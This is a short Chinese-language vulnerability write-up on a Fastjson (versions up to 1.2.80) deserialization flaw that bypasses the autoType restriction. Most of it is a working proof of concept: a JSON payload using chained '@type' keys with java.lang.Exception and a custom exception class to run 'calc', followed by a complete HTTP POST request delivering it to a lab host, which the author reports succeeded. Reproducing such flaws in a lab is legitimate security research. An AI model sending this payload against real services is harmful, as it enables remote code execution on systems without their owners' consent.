0x01简要描述
Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON字符串,也可以从 JSON 字符串反序列化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞,攻击者可以在特定依赖下利用此漏洞绕过默认autoType 关闭限制,从而反序列化有安全风险的类。
0x02影响版本
FastJson ≤1.2.80
0x03漏洞复现
漏洞payload
{
"@type": "java.lang.Exception",
"@type": "com.github.isafeblue.fastjson.SimpleException",
"domain": "calc"
}
下载源码启动环境,发送payload
POST /addComment HTTP/1.1
Host: 10.211.55.7:8099
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 40
Content-Type: application/json; charset=utf-8
Cookie: LOGIN_LANG=cn
Origin: http://10.211.55.7:8099
Referer: http://10.211.55.7:8099/
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
X-Requested-With: XMLHttpRequest
{
"@type": "java.lang.Exception",
"@type": "com.github.isafeblue.fastjson.SimpleException",
"domain": "calc"
}
成功执行